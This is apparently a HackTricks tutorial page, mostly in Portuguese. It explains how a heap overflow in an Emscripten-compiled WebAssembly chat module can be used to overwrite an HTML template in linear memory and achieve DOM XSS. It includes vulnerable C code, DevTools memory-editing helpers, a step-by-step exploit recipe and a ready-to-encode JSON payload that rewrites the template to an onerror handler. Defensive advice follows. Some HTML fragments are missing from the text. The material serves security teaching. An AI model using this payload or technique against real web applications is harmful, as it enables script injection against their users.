%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Esta técnica mostra como um bug de memory-corruption dentro de um módulo WebAssembly (WASM) compilado com Emscripten pode ser transformado em um DOM XSS confiável mesmo quando a entrada é sanitizada. O pivô é corromper constantes graváveis na WASM linear memory (por exemplo, templates de formatação HTML) em vez de atacar a string de origem sanitizada.
Ideia chave: No modelo WebAssembly, o código vive em páginas executáveis não-graváveis, mas os dados do módulo (heap/stack/globals/"constants") vivem em uma única linear memory plana (pages of 64KB) que é gravável pelo módulo. Se código C/C++ com bug escrever fora dos limites, você pode sobrescrever objetos adjacentes e até mesmo strings constantes embutidas na linear memory. Quando tal constante é usada mais tarde para construir HTML para inserção via um DOM sink, você pode transformar entrada sanitizada em JavaScript executável.
Threat model and preconditions
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
 - Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
 - Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
 - There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
 
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;
typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory
Padrão lógico vulnerável
- addMsg(): aloca um novo buffer com o tamanho da entrada sanitizada e anexa uma msg a s.mess, dobrando a capacidade com realloc quando necessário.
 - editMsg(): re-sanitiza e memcpy’s os novos bytes para o buffer existente sem garantir que o novo comprimento ≤ a alocação anterior → intra‑linear‑memory heap overflow.
 - populateMsgHTML(): formata o texto sanitizado com um stub embutido como "
" que reside em linear memory. O HTML retornado é enviado para um DOM sink (por exemplo, innerHTML).  
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Envie mensagens suficientes para exceder a capacidade inicial. Depois do crescimento, realloc() frequentemente coloca s->mess imediatamente após o último user buffer na linear memory.
 - Transborde a última mensagem via editMsg() para corromper campos dentro de s->mess (e.g., overwrite msg_data pointers) → reescrita arbitrária de ponteiros dentro da linear memory para dados que serão renderizados depois.
 
Exploit pivot: sobrescrever o HTML template (sink) em vez da fonte sanitizada
- Sanitização protege a entrada, não os sinks. Encontre o format stub usado por populateMsgHTML(), por exemplo:
 - "
 " → change to "%.*s
"
 - Localize o stub de forma determinística escaneando a linear memory; é uma string de bytes simples dentro de Module.HEAPU8.
 - Depois de sobrescrever o stub, o conteúdo da mensagem sanitizado torna-se o handler JavaScript para onerror, então adicionar uma nova mensagem com texto como alert(1337) gera 
e executa imediatamente no DOM.
 
Chrome DevTools workflow (Emscripten glue)
- Interrompa no primeiro Module.cwrap call no JS glue e entre no call site wasm para capturar argumentos de ponteiro (offsets numéricos na linear memory).
 - Utilize typed views como Module.HEAPU8 para ler/escrever a memória WASM a partir do console.
 - Snippets auxiliares:
 
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
Receita de exploração ponta a ponta
- Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
 - Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
 - Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ".
 - Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits 
and executes.
 
Exemplo de lista de ações para serializar e colocar em ?s= (Codifique em Base64 com btoa antes de usar)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Por que este bypass funciona
- WASM impede a execução de código a partir da linear memory, mas dados constantes dentro da linear memory são graváveis se a lógica do programa for falha.
 - O sanitizer protege apenas a string de origem; corrompendo o sink (o HTML template), a entrada sanitizada torna-se o JS handler value e é executada quando inserida no DOM.
 - Adjacência dirigida por realloc() somada a memcpy sem verificação em fluxos de edição permite corrupção de ponteiros para redirecionar escritas a endereços escolhidos pelo atacante dentro da linear memory.
 
Generalização e outras superfícies de ataque
- Qualquer HTML template em memória, JSON skeleton ou padrão de URL embutido em linear memory pode ser alvo para alterar como dados sanitizados são interpretados downstream.
 - Outras armadilhas comuns do WASM: out-of-bounds writes/reads na linear memory, UAF em objetos do heap, function-table misuse com índices de chamada indireta sem verificação, e incompatibilidades no glue JS↔WASM.
 
Orientações defensivas
- Em caminhos de edição, verifique new length ≤ capacity; redimensione buffers antes da cópia (realloc para new_len) ou use APIs com limite de tamanho (snprintf/strlcpy) e acompanhe a capacidade.
 - Mantenha templates imutáveis fora da linear memory gravável ou verifique sua integridade antes do uso.
 - Trate as fronteiras JS↔WASM como não confiáveis: valide ranges/comprimentos de ponteiros, fuzz as interfaces exportadas, e limite o crescimento da memória.
 - Realize a sanitização no sink: evite construir HTML em WASM; prefira APIs seguras do DOM ao invés de templating no estilo innerHTML.
 - Evite confiar em estado embutido na URL para fluxos privilegiados.
 
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
 - V8: Wasm Compilation Pipeline
 - V8: Liftoff (baseline compiler)
 - Debugging WebAssembly in Chrome DevTools (YouTube)
 - SSD: Intro to Chrome exploitation (WASM edition)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks